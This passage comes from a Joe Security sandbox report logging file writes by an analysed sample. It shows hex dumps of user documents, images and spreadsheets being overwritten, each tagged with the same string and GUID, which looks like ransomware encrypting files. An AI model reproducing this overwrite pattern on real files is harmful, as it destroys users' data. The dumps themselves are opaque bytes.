2b 11 fd 33 fd fd 00 fd 09 
fd fd 0c 00 fd fd 26 fd fd 
3c 32 0f fd fd fd fd 78 74 
fd fd 18 fd fd 5c fd fd 55 
fd fd 69 fd 1d 55 03 fd 04 
1a fd 19 fd fd 11 fd 67 06 
03 00 23 fd 31 4d d5 fd fd 
43 fd 3e 7f fd 7e 32 33 3f 
fd 64 0f 11 fd 51 7f 37 fd 
46 fd 1b 15 fd fd 29 14 0a 
01 29 d4 31 4c 13 2b 0f 
3e ef 6e 6a fd 07 fd 6f fd 
fd 72 fd fd 0c fd 16 31 7f 
3d fd 19 33 34 17 6b 74 
2e fd fd 6f 1d 19 fd 22 fd 
fd fd 62 fd fd 79 00 3f 05 
fd 79 fd 57 fd 1d fd fd 3d 
57 27 13 34 fd 69 40 79 
fd 5e b5 2b 3c 29 44 fd 
4e 
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fd 51 10 52 27 fd 0c 4d fd 
7f fd fd fd fd fd 5e 43 fd fd 
40 6d 12 38 fd fd 78 47 fd 
fd 40 fd fd 34 fd 60 fd fd 
99 0b 56 6f 22 70 0b 5e 
55 4c fd fd 50 fd fd 4b fd 
2a fd fd 46 fd 54 21 31 1d 
0e fd 5d 07 5f 24 43 31 
0b fd 3d 79 d8 7a fd fd 4c 
67 54 4c fd 11 5a 04 fd fd 
39 fd 6a fd fd fd fd 14 14 
63 fd 08 fd 35 fd fd 45 33 
10 d2 fd fd 40 2b fd 0f 6d 
77 fd fd 05 6a 06 6a b5 
78 61 fd fd 69 fd fd 44 fd 
fd 14 fd 8d fd 56 fd 39 fd 
fd 28 fd 32 0b fd 7f fd fd 
fd fd 09 fd 12 fd 40 fd fd 
19 1a 36 5a fd fd fd fd 51 
0c 5d 6f 54 fd 58 75 fd 
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C:\Users\user\Desktop\DVWHKMNF
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5 1021 fd 57 11 25 fd a1 06 49 fd 
67 77 52 23 10 fd fd fd fd 
24 fd 3b 7f 62 0b 5a 67 
72 3c fd f2 13 06 fd fd 08 
6c 02 fd 56 fd fd fd 74 34 
fd 06 fd 76 21 55 fd fd 58 
fd fd 40 43 5a fd 75 fd fd 
fd fd 60 fd fd fd 36 fd 35 
74 08 fd 4e fd fd 30 50 0e 
37 3a fd 73 56 57 fd fd fd 
fd 3d 16 71 5a fd 07 1f 42 
fd 1c 3f 59 fd fd 54 8b 58 
fd fd fd 68 08 72 fd 26 40 
fd 18 fd 1b 1b fd 06 fd 32 
fd 56 4e 02 5f fd 4d 16 fd 
25 a0 b8 fd fd 50 fd 55 62 
fd 4c 2b 43 7e 33 fd 1a 
7c fd 38 1d 30 fd 76 fd fd 
19 38 fd fd fd 90 1b 71 fd 
fd 22 0b fd 6b fd 7e 3a fd 
fd fd 57 33 11 fd fd 36 7c 
62 72 58 7a fd fd e9 13 fd 
58 fd 18 fd 3a fd 7e fd fd 
fd fd fd 76 fd 3b 3f fd 49 
fd 35 fd fd fd fd 32 fd 56 
fd fd 09 fd 2e 24 fd 28 fd 
fd fd 5d fd 4d 30 fd 
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fd fd fd 72 70 fd 6b fd 4c 
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fd fd 4f fd 01 fd 62 7b fd 
6b 2d 66 25 fd 16 fd 7a fd 
fd fd 0d 4a fd 1b fd fd 68 
66 fd fd 4a 0b fd 64 fd fd 
1c fd fd fd fd 53 fd fd 21 
46 fd 2c 3e fd fd 0a 15 58 
fd 05 fd fd 09 fd 50 56 fd 
51 fd 2a 6f fd fd fd 44 68 
45 fd fd 7c 6d 0e 11 fd aa 
fd 3e 7d fd 7e 3a 56 40 
16 fd fd 75 72 03 35 fd 71 
2f 00 fd 21 fd fd 25 fd 7e 
49 4f 59 58 fd 4e fd fd 1c 
fd 2a 7a 35 fd 2a 3d fd 6b 
fd fd 22 40 2f 4c 44 77 6d 
38 26 fd 05 1c 12 1b fd fd 
17 02 4d 64 59 fd fd fd 27 
19 fd 5c fd fd 1d 5b fd fd 
02 22 fd 6e 75 40 76 fd fd 
02 06 fd 75 39 fd 50 fd 13 
fd fd fd 6e fd 
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C:\Users\user\Desktop\DVWHKMNF
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5 1021 fd 15 39 fd 21 6f fd 55 fd 
f9 75 fd 0e 0d fd fd fd 0f 
fd fd 27 fd 39 35 41 1c 6c 
fd fd 20 3f 09 55 fd fd 43 
60 fd 4d fd 43 4f 5d 70 34 
fd 43 75 fd fd 0e fd 7a 16 
fd 0e fd fd 31 35 fd 51 fd 
fd 04 fd 34 5a fd 0b 34 5d 
7a 55 4b 71 fd 78 18 3f 
6b 28 fd fd 08 51 fd fd fd 
52 6c 32 1f fd 38 fd fd fd 
1f 67 13 fd 14 13 19 3b 
30 71 25 0c fd 3c fd fd 5a 
fd fd 19 3f 7c 18 72 fd fd 
fd 51 fd 7a fd 5a 06 fd 4d 
fd 2e 2d fd fd fd 60 fd 7e 
fd fd fd 47 08 3b fd 58 2b 
60 fd 02 fd 1e 60 fd fd 1d 
4f 98 1f fd 65 fd 18 39 fd 
fd 4c 1b 1d 31 fd fd fd 55 
2c fd fd 3c fd 66 39 47 d2 
fd 0f 1e 24 02 fd fd 42 56 
3a fd fa fd 51 36 3c f8 fd 
0d fd fd 5c 23 fd 0c fd fd 
fd 68 fd fd 02 fd 1d 17 fd 
78 fd 22 6e 1d fd 03 fd fd 
fd 45 6b 36 24 10 7e fd fd 
33 20 fd 
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05 fd fd 4f fd 40 62 36 61 
71 fd 78 fd fd fd 27 7c fd 
55 31 fd fd fd 22 fd fd 0b 
fd 2a 60 54 0e d2 66 78 
fd 2f fd 5b 38 fd 2b 01 62 
fd 4c fd fd 35 05 fd 18 fd 
71 17 fd 11 44 4b fd 68 fd 
25 30 fd fd fd 15 3d fd fd 
fd 05 fd 52 1b 1e fd fd 53 
0f 60 fd fd fd fd 1d fd 2a 
10 40 fd fd 3a 65 e5 63 
34 fd fd 2c 67 fd fd fd fd 
22 fd fd 0c 7c 26 44 2d 
28 06 fd 2d fd fd 45 74 47 
0d 79 61 29 31 fd fd fd fd 
2e 11 fd 2b fd 46 60 5c 
62 1b 74 fd fd 3e 61 fd 44 
fd 3c fd fd 39 fd 74 4c 71 
fd 3c 35 fd 70 fd fd 48 fd 
16 05 
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C:\Users\user\Desktop\NWTVCDUM
OB\CURQNKVOIX.mp3

5 1021 13 77 fd fd 10 fd 03 28 71 
78 fd 65 fd fd fd 5d fd fd 
7a 90 36 fd fd 5d 57 63 
34 1e 1d fd fd b1 fd 7e 3b 
fd 38 7d fd 0e 07 fd 44 60 
fd 78 fd 12 76 3f fd fd 37 
06 33 18 fd 3b 28 35 2a 
6c 37 14 62 fd fd 35 fd 69 
fd fd 4c fd fd 4b fd c8 fd 
3e fd fd fd 50 fd fd 27 78 
03 02 fd 72 fd fd fd 65 7c 
fd 20 fd 0e fd 11 fd 08 fd 
fd fd 1a 72 6b fd fd 6f 58 
fd fd 3c 28 07 79 51 4b fd 
fd 2d fd 61 23 4a fd 3e fd 
6c 26 fd fd fd 03 fd 4d 68 
49 65 00 fd fd 0b 5b fd 46 
fd fd fd fd fd fd fd 34 7a 
09 fd 7b 2c fd 4b 15 fd 7d 
fd 39 fd fd 26 fd 31 01 fd 
fd fd fd 4e 39 fd 07 71 62 
04 fd fd 34 0e 77 07 1a fd 
43 fd 62 2e fd 75 3b 30 
13 08 07 fd 1c 5e fd fd 09 
2c fd 1b 5e 6d 11 af 5b fd 
27 fd fd 29 17 fd 56 fd 36 
51 14 14 fd fd 90 fd 
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0b fd fd 21 fd fd fd fd fd 
05 fd fd 24 2e fd fd fd 5e 
fd 01 31 fd 32 fd 52 31 2e 
99 fd 5e 47 12 fd 2b fd 60 
31 fd 1c 73 fd 51 7b be 
06 6c fd 4c 77 08 fd 1e fd 
1f fd fd fd 14 fd 0f 61 7d 
fd 36 17 21 3c fd 0f 5d fd 
fd 08 43 fd fd fd 3a fd 71 
fd fd 3b fd 34 5d 48 fd 5b 
22 29 fd fd fd 08 04 15 05 
fd 29 0c fd 30 44 2f 35 fd 
fd 6f 0a fd 74 7d 2d 71 fd 
fd fd fd fd 5c fd 42 fd 31 fd 
4d 18 40 fd 28 fd 31 77 
0a 28 fd fd 7e fd 67 fd 29 
fd fd fd 32 fd 1b 20 5c 2e 
fd fd 18 36 6d 62 fd fd ec 
fd 47 1c 60 fd fd 21 fd fd 
26 37 00 fd fd 33 fd fd fd 
fd 4e fd 
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C:\Users\user\Desktop\NWTVCDUM
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5 1021 fd 8e fd 39 a5 76 fd fd 1d 
78 fd fd 66 fd fd 69 3b 3c 
fd fd 3d fd fd fd 8f 31 fd 2c 
fd fd fd 3d fd 0d 39 fd fd 
3e 04 0c 95 fd 06 4b fd fd 
fd 36 43 fd 00 0b fd 0b 7d 
41 56 56 fd fd fd 39 fd 46 
07 2e 1c 09 6d 37 16 3a 
fd fd 51 52 53 6d fd fd d8 
fd 68 fd 24 00 fd fd 70 fd 
11 fd fd 13 63 5a 67 fd 3e 
fd fd fd fd fd fd fd 2f fd 39 
14 fd 55 0d 2d fd fd fd 1a 
07 fd fd 42 fd fd 29 fd 51 
b1 57 7e fd ac 3e 54 fd 
5d 16 7c 4b 01 3f 7c 7b 
fd ff 30 fd 4a 54 fd fd fd fd 
37 fd 41 1a 64 fd fd 1d fd 
75 25 fd fd 15 fd 0e 79 3b 
21 77 3a 0d fd 23 3c fd 
56 fd 13 01 35 2b 09 1b 
fd fd fd fd fd fd 74 6f fd fd 
24 2a 0d 60 5e fd fd 8f c2 
3d fd 0b fd 55 7b 55 54 
40 fd fd 0d fd fd fd fd 65 
38 74 49 fd 6b fd fd 5e fd 
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fd fd fd fd 19 fd 6e fd fd 
dc 6b fd 25 17 fd fd 74 4e 
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fd fd fd fd fd 23 63 fd 51 
fd 77 72 fd 33 fd fd 1e 04 
04 4c 14 57 fd fd fd fd 02 
55 0b 34 73 5f 3f 27 fd fd 
fd 3f 2e fd 65 4a 8f fd 1d 
fd dc fd 4b 22 fd 53 7a fd 
fd fd fd fd 67 fd 7f fd fd 7e 
fd fd 0a fd 07 fd 00 11 fd 
69 57 51 11 33 fd fd 3a fd 
3d 3d 4a 4a 48 fd 73 51 
4f 21 fd 56 fd fd 70 fd fd 
fd 34 0d 0b fd 09 23 6f 46 
0d 16 2b fd 19 4a 2c 25 
69 6b 5e fd fd fd 13 fd fd 
4d 3e 28 24 fd 24 fd fd 54 
7f 67 fd 3d 09 fd 7b 58 fd 
6a 4a 58 c5 1f 32 85 fd 
42 fd fd 1d 3a fd 77 74 2a 
fd fd 
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C:\Users\user\Desktop\NWTVCDUM
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5 1021 fd fd fd fd fd 17 52 52 26 
77 7c 46 fd 2b 47 29 3f fd 
fd fd fd 0a 20 fd fd 5e 2b 
fd 7a fd fd 2f 7a 0a fd fd 
2b fd fd 4e fd 57 fd 54 55 
0d fd fd 66 6c fd 56 fd 69 
1e fd fd 3f 44 5c fd 7e fd 
6c fd fd 6d fd a8 fd 0b 37 
38 01 68 21 fd 7c 74 fd 
30 00 3f fd 47 69 fd 3e fd 
0b 7a fd 78 1c fd fd 5f 01 
fd fd fd fd 31 fd fd 75 04 
59 fd fd 42 24 fd 3e 5f fd 
01 58 2b fd 5f 28 57 45 1f 
fd 79 3a fd 6c fd fd fd 49 
fd 41 fd 33 fd 14 fd fd 61 
fd 49 10 44 fd fd fd ee 27 
7f fd 11 fd 62 fd 09 02 fd 
fd fd fd fd 5a 66 78 5e fd 
74 fd 20 fd 03 fd fd 72 fd 
fd 38 fd 13 fd 75 fd 51 fd 
4f fd fd 6a 07 03 fd 6f 4c 
fd 08 1d 5a fd fd 56 ec fd 
6b fd 3d fd 7a 0d fd fd 17 
fd 5a 06 78 fd 1e fd 2a 75 
26 fd fd fd fd 6a 4d fd fd fd 
34 fd fd 17 77 57 fd fd fd 
1b 74 
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fd 7c fd fd fd 52 1a fd 7a 
7d fd fd fd 56 7f fd fd fd c7 
71 6c fd 69 47 fd 07 fd fd 
26 fd fd 23 28 fd fd 56 09 
fd 14 fd 1a 0e fd fd fd fd 
61 fd fd 0a 1e 04 7b 7e fd 
fd fd 3d 48 fd 7c 65 52 fd 
68 07 0c 72 1d fd fd 1f 55 
fd fd 4b fd 6c 63 fd 39 5f 
36 69 66 62 fd 7e fd 2d fd 
51 68 fd 0a fd 6d fd fd 47 
fd 4b 5a 74 7b be fd 22 
30 2d fd fd fd fd fd 38 fd 
4b 28 fd 1e 0e 75 05 12 
58 35 16 fd fd 0c 0e fd 3a 
5e 70 fd fd fd fd 77 72 fd 
fd fd 53 fd 61 6a fd 2f fd 
fd 67 53 13 fd 65 fd 4c 5f 
fd 15 7d fd 15 fd 6e 4c fd 
fd 74 07 69 fd fd 15 fd fd 
fd 53 7e 3b fd 2f 60 2a 5d 
2f 00 5b fd fd 54 fd fd fd 
12 5f fd 3b 5d 52 bd fd 3c 
fd 22 fd fd b1 
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C:\Users\user\Desktop\NWTVCDUM
OB\NWTVCDUMOB.docx

5 1021 2f 14 06 fd 34 77 7d 17 fd 
70 3f fd 13 5a 2a fd 43 1c 
28 05 1f fd 59 fd 44 fd 4f 
63 fd 03 fd fd 65 53 30 fd 
0e 08 6d fd fd 28 fd fd 10 
fd 42 fd ea fd 54 7c 76 3b 
25 62 58 12 fd fd 0f 17 52 
5a 7e fd fd fd fd fd fd fd fd 
05 fd 8e 20 fd 37 69 57 fd 
12 55 7e 73 fd fd fd fd 32 
fd 78 25 fd fd fd fd fd 0c 
fd fd 43 30 fd fd fd 70 fd 
5a 73 5a 0d 73 37 fd 39 
03 fd 72 45 2b 64 4b fd fd 
2f fd fd fd 63 fd fd 7f 0e 
19 fd 68 3d fd 21 fd fd fd 
3c fd 43 1e 6d 2e fd fd 16 
2c fd 45 05 6d 78 fd 6b 
61 27 3f fd 41 03 7e fd 65 
53 55 fd 1d fd 2b 79 fd 25 
fd fd fd 05 59 fd 61 5f fd 
5b 64 fd fd fd fd 1f fd 53 
fd fd fd 50 fd 75 fd 5b 37 
1c 2b 2b fd 2c fd 67 fd 0e 
6c 25 fd 25 fd fd 5b 54 fd 
5c fd 11 90 fd 45 03 fd fd 
46 fd 53 fd fd 57 35 5d 
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1026 256 fd 25 5b 19 16 fd 14 3a 1f 
17 fd fd fd 2f fd fd fd fd 5e 
fd fd b6 fd 70 24 fd fd 74 
fd 12 fd fd fd fd 5d 53 3c 
fd fd fd fd fd 0b 1d 4e 0d 
fd 3c fd 5b 62 fd be 2a fd 
4b fd fd fd 12 1b 1f 39 c6 
25 7f fd 01 44 7e 5b 30 
6c 58 5e 12 fd fd 4a fd 1b 
fd fd 26 58 fd fd 45 04 4f 
fd 5c 6b 7b 68 fd 71 59 fd 
fd 57 19 fd fd c0 fd fd 50 
fd fd 0e fd 65 fd 3c fd 0f 
7c 61 fd fd 1b fd 6f fd 4e 
76 28 11 2c fd fd fd 40 68 
fd fd fd 50 54 09 fd fd 45 
6d 41 68 49 fd 35 2f 6b fd 
60 98 5e fd 4e fd 09 76 fd 
45 0c 5c 0d fd 59 10 fd 39 
fd 64 fd 58 68 43 fd fd fd 
50 42 48 13 7c 0c fd 45 fd 
66 fd 3a fd fd fd fd fd 46 
09 fd f5 06 04 fd 10 fd 51 
fd 46 fd 57 fd fd 14 56 0c 
36 fd fd 42 5a 00 fd 55 fd 
fd fd fd fd 4d 75 fd 2d 7a 
fd 4d 17 fd 1c fd fd fd 4a 

%[:/^p$t]S<N<[b*K9%D~
[0lX^J&XE
Ok{hqYWPe<|aoNv(,@h
PTEmAhI5/k`
^NvE\Y9dXhCPBH|Ef:FQ
FWV6BZUMu-zJ

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\NWTVCDUMOB.docx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\NWTVCDUMOB.docx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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C:\Users\user\Desktop\NWTVCDUM
OB\RAYHIWGKDI.png

5 1021 be fd 4d 6e 72 62 fd fd fd 
01 8e 54 22 fd 43 25 19 
11 fd 10 fd fd 81 18 65 fd 
6b fd 67 fd fd fd fd 0a 61 
67 fd fd 45 fd 4a fd fd 55 
6d fd fd fd 27 fd 78 fd 72 
7c 77 fd 40 d1 61 7e 31 
10 2a 6d 0c 6f fd fd 32 54 
fd 04 5d fd fd 4c 40 fd fd 
fd 48 1a 60 fd 34 05 fd fd 
04 fd 04 fd fd 1a fd 55 04 
39 3c fd 7a fd 3e 26 fd 01 
63 2f 43 fd fd 51 74 58 77 
47 fd 42 fd fd fd 54 2d fd 
31 fd fd 7f 22 fd 47 fd 3f fd 
fd 5c 74 6e 19 fd 61 fd 61 
7f 1c fd f2 3c fd 00 fd 78 
4a 57 3d 54 fd fd fd 3b 4e 
08 fd 2a fd 3a fd fd 76 32 
5f fd fd fd fd 50 2f fd 4e 
2a 49 fd 54 fd fd 22 fd fd 
1a 4a 08 00 10 fd fd 1b fd 
fd 2a 5b 48 69 fd fd 73 fd 
fd fd 0b fd fd 69 57 fd fd 
fd fd 5c 16 fd 48 35 48 fd 
fd 00 16 4b fd 5d 59 1a 
50 21 4d 78 fd fd 2f fd 20 
fd fd 25 fd 

MnrbT"C%ekgagEJUm'xr
|w@a~1*mo2
T]L@H`4U9<z>&c/CQtX
wGBT-1"G?\t
naa<xJW=T;N*:v2_P/N*I"
J*[HisiW\H5HK]YP!Mx/ 
%

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\RAYHIWGKDI.png

1026 256 0b 09 2a fd 51 fd fd fd fd 
79 1c 7c fd fd 44 0a fd 5e 
43 fd 42 fd 13 fd 35 79 fd 
fd 45 2d 59 fd fd 55 fd 08 
62 3f fd fd 21 5d fd fd 57 
37 31 38 33 fd 52 fd fd 12 
fd 2d 2e fd 36 6b fd 26 37 
69 fd fd fd 48 fd fd 21 4a 
70 55 fd fd 4a 1e 04 71 fd 
74 48 fd fd 64 6d 3f fd 76 
fd 0c fd fd fd fd 56 fd 63 fd 
fd 04 0f 3e 3f 0d 5b 33 1a 
70 45 fd fd 6f 29 fd 45 37 
fd fd fd 12 1f fd fd fd fd fd 
26 08 fd fd fd 7c fd 39 fd 
7b fd fd 3f 44 69 0b 61 fd 
75 fd fd fd 74 0f fd fd fd fd 
fd 25 fd 34 11 fd fd fd 38 
fd 7d 09 54 a9 fd 2c fd fd 
13 fd fd 6f 0e fd 05 fd fd fd 
03 65 fd fd fd 50 fd 51 30 
fd fd fd 71 fd fd 0b 03 59 
7a 09 1e 50 79 2c 29 fd 
44 fd 3f 30 fd 7e 44 fd fd 
0b fd fd fd eb fd 4c fd 46 
01 fd 3d 61 fd 4e 53 38 
6a 1f 6e fd 06 52 fd 38 7b 
fd 

*Q|D^CB5yE-
YUb?!]W183R-.6k&7iH
!JpUqtHdm?vVc>?
[3pEo)E7&|9{?Di
aut%48}T,oePQ0qYzPy,)
D?0~DLF=aNS8jnR8{

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\RAYHIWGKDI.png

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\RAYHIWGKDI.png

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

Copyright Joe Security LLC 2022 Page 160 of 219



C:\Users\user\Desktop\NWTVCDUM
OB\YPSIACHYXW.xlsx

5 1021 fd 0e 55 78 fd fd fd fd 26 
7d 59 fd 24 0f 0d 13 74 fd 
68 33 76 26 13 fd 5a fd 
48 fd 02 fd 71 1a 53 5a 2f 
fd 43 09 41 60 fd 7c 37 fd 
37 54 fd 79 60 1c 35 fd 
70 fd fd 6e 4a 1a 05 fd fd 
fd 3a 70 fd 36 fd fd fd fd 
0a 40 0a fd 0c fd fd 68 3e 
62 fd 5d 33 fd 38 fd fd fd 
2f fd fd fd fd 2e fd 72 5d 
28 fd fd fd 0b 09 79 fd fd 
fd 7f fd 3c 46 fd fd fd 73 
15 68 4c 53 6d 2c 0e fd 
60 1b fd fd fd 7b fd fd fd 
68 fd fd 05 fd 05 fd fd fd 
fd fd fd 56 36 fd fd 19 6a 
16 94 1f fd 5e fd 70 fd 61 
fd fd fd fd 09 04 79 fd fd 
39 56 14 1f fd fd fd 7c 26 
32 fd fd fd 5f 27 7b fd 39 
fd 16 0e 41 35 0a 32 06 
4f fd 11 fd 7a fd 24 fd 76 
fd fd 53 0b 32 fd 2e fd fd 
fd 11 ad fd 20 76 6f 16 33 
36 fd 58 61 fd fd 67 fd fd 
12 77 0b fd 23 3e 09 fd fd 
fd 53 fd fd fd 35 fd 4e 3f 

Ux&}Y$th3v&ZHqSZ/C`|7
7Ty`5pnJ:p6@h>b]38/.r]
(y<FshLSm,`{hV6j^
pay9V|&2_'{9A52Oz$vS2
. vo36Xagw#>5N?

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\YPSIACHYXW.xlsx

1026 256 27 fd 0d fd 3e 6d fd 43 10 
62 00 62 4e 05 64 fd fd 
50 fd fd 62 fd 14 fd fd 49 
71 fd 0d 32 54 fd 2a fd 37 
fd 7b fd fd 75 fd 18 2f fd 
fd fd 02 2b 3c c4 fd fd fd 
75 18 fd 4a fd fd fd fd 58 
29 fd fd fd 52 10 16 fd 16 
14 04 37 12 54 08 7f fd 
00 12 fd 31 fd 41 fd 07 76 
47 12 fd 59 53 fd 66 fd 37 
37 fd 7a fd fd 13 13 61 fd 
6d 38 fd 10 34 6e fd fd fd 
fd 70 42 fd 67 60 46 fd fd 
fd fd 4b 59 5f 05 fd 6c 58 
1b 54 fd 14 5e fd fd 4e 49 
59 06 11 5f fd fd 61 c3 3a 
2c 4d fd fd 13 fd fd 7a fd 
fd fd 7b fd 46 fd fd fd fd fd 
0a 36 43 4b fd fd fd 56 21 
16 4e fd 8a 0f fd 37 0d fd 
33 5f 59 47 fd 60 41 31 
20 fd 0c fd fd 63 fd fd 7a 
fd fd 5f fd fd 69 fd fd fd 61 
19 fd fd fd 3d fd fd 42 23 
66 fd fd fd fd 1f 64 fd fd fd 
fd fd 14 fd fd 6b 3d fd fd 
56 39 45 

'>mCbbNdPbIq2T7{u/+
<uJX)R7T1vG
YSf77zam84npBg`FKY_l
XT^NIY_a:,
Mz{F6CKV!N7_YG`A1 
cz_ia=B#fdk=V9E

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\YPSIACHYXW.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\NWTVCDUM
OB\YPSIACHYXW.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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C:\Users\user\Desktop\WUTJSCBC
FX\BPMLNOBVSB.pdf

5 1021 fd 2f 7e fd 5e 2d 42 fd 7c 
74 4a fd 59 fd 6a 75 fd 0b 
68 06 27 67 04 fd 6e 69 
08 1d 1e 44 c3 fd 0f 6f fd 
fd 5b fd 16 fd fd 35 58 0a 
fd 04 5a fd fd 46 fd fd 31 
63 58 3b fd 43 fd 0b 0f fd 
fd 15 fd 25 53 0f fd fd fd 
5a 52 05 fd 30 36 07 61 
67 1e fd 4d 33 fd 7c fd 6d 
52 fd 70 10 fd fd 65 3a 35 
0a fd 00 fd fd fd 73 fd fd 
76 07 42 6b 51 36 42 fd 
fd 50 3c 65 2a fd fd 65 fd 
24 fd 6d fd 74 2b fd fd 34 
fd e5 fd 13 fd 21 fd fd 4e 
fd 0a fd 5b 2f fd 5e fd fd 
fd 1a 66 0e 22 fd fd 48 33 
fd 00 fd 2b bc 67 03 fd 66 
06 fd 35 fd 4d fd fd 73 79 
1a 0b 7f 7f fd 7b 12 fd 4c 
fd fd 7a fd 50 fd 38 fd fd 
fd 59 fd d2 2a 73 65 66 fd 
51 42 3b 2a fd fd 2b 79 fd 
12 7a fd fd fd 70 47 22 02 
4a 14 fd 31 41 fd fd 02 7f 
3e 10 4f 53 00 fd 71 37 
73 54 

/~^-
B|tJYjuh'niDo[5XZF1cX;C
%SZ
R06agM3|mRpe:5vBkQ6
BP<e*e$mt+4
!N[/^f"H3+gf5Msy{LzP8Y*
sefQB;*
+yzpGJ1A>OSq7sT

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\BPMLNOBVSB.pdf

1026 256 47 fd 65 2a 19 6e fd fd fd 
fd fd 52 fd 3c fd 3b 48 25 
fd 2d fd fd 77 57 fd fd 22 
76 fd fd 5b 4c 28 fd fd 4d 
fd 57 fd 32 3b fd 54 fd 5e 
76 fd 42 08 fd fd fd 33 2a 
fd 43 13 fd 0f fd 6a 05 12 
7c 7f fd 32 fd 56 fd 55 24 
fd 68 fd 33 56 5b fd fd fd 
3f 5a 13 fd fd fd 22 fd 2e 
fd 0b fd fd 40 48 6b fd fd 
69 11 39 0d fd 16 fd 27 6f 
fd fd 38 fd 58 11 fd 04 fd 
75 69 4b 62 fd 3e 22 fd fd 
01 fd fd 5a fd 2d fd 10 fd 
69 fd 16 13 02 55 fd fd 34 
fd fd fd 42 01 39 7f fd 2a 
fd 16 73 fd 5e 71 0e 2b fd 
78 fd fd 5e 29 fd 6e fd fd 
43 fd 33 fd 50 fd 1d fd fd 
fd 56 1b 72 fd fd 09 fd fd 
38 5a 4a 27 fd 09 7b 62 
fd 50 23 fd 17 fd 25 70 fd 
61 fd fd 45 17 fd fd fd 75 
fd 31 21 fd fd fd 18 fd fe 
40 fd 66 05 32 fd ef fd 03 
dd fd 2f fd 2d fd fd 11 

Ge*nR<;H%-
wW"v[L(MW2;T^vB3*Cj|
2VUh3V[?
Z.@Hki9'o8XuiKb>"Z-iU4
B9*s^q+x^)nC3PVr8ZJ'{b
P#%aEu1!@f2/-

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\BPMLNOBVSB.pdf

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\BPMLNOBVSB.pdf

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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C:\Users\user\Desktop\WUTJSCBC
FX\CURQNKVOIX.jpg

5 1021 04 32 fd fd 5d 48 26 fd fd 
74 6d 51 fd 22 36 57 2c 
27 6e 02 fd 67 02 1b fd 
16 fd fd fd 6e 69 59 56 fd 
fd fd fd fd fd 5a fd fd 43 
4e fd 37 68 fd fd fd 44 fd 
fd 25 64 57 fd 61 fd e1 fd 
41 fd fd 1d 5c 1b 0c 5b fd 
1a fd fd 35 22 5e fd fd 02 
05 f8 3e 78 fd 69 3d fd fd 
58 52 fd fd 1b fd 32 fd fd 
6b 56 1f 36 fd 26 40 3b fd 
56 0b fd a3 1b fd 3b 76 fd 
4f fd 43 3a fd 41 fd 61 6a 
78 fd 6c 4a 28 38 fd fd 33 
fd fd 61 fd 60 26 15 fd fd 
fd 5f 08 04 fd 34 75 fd 17 
fd 57 63 2a fd 1b fd 7e 10 
59 fd 5c fd fd 2b 6d fd fd 
0d 4b 3a fd 75 59 fd 49 
03 74 fd 2e 51 fd fd fd fd 
fd 37 74 59 49 1d 3e fd 
63 72 45 6f fd 36 09 fd 45 
40 0b 52 03 fd fd 2d fd 72 
fd fd fd 63 fd 1b fd fd 5b 
fd 1a fd 36 fd 17 fd fd 43 
02 fd 73 fd 46 16 2d 2e fd 
4b fd 

2]&tmQ"6W,'ngniYVZN7h
%dWaA\[5"
^>xi=XR2kV6&@;VvOC:
AajxlJ(83a`
&_4uc*~Y\+mK:uYIt.Q7t
YI>crEo6E@R-rc[6CsF-
.K

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\CURQNKVOIX.jpg

1026 256 76 22 fd 53 fd 53 66 fd fd 
bc 36 64 02 fd fd fd fd 05 
3f fd fd fd 49 6a fd 58 63 
af fd fd 70 1f 37 5a 0b 7d 
15 fd fd 1e fd fd 3f 4d fd 
75 fd fd 65 2f 43 fd fd fd 
46 71 4e fd 7a 36 fd 14 fd 
38 02 1e 6e 1b 21 70 59 
3f fd fd fd 5f fd 5c 60 3b 
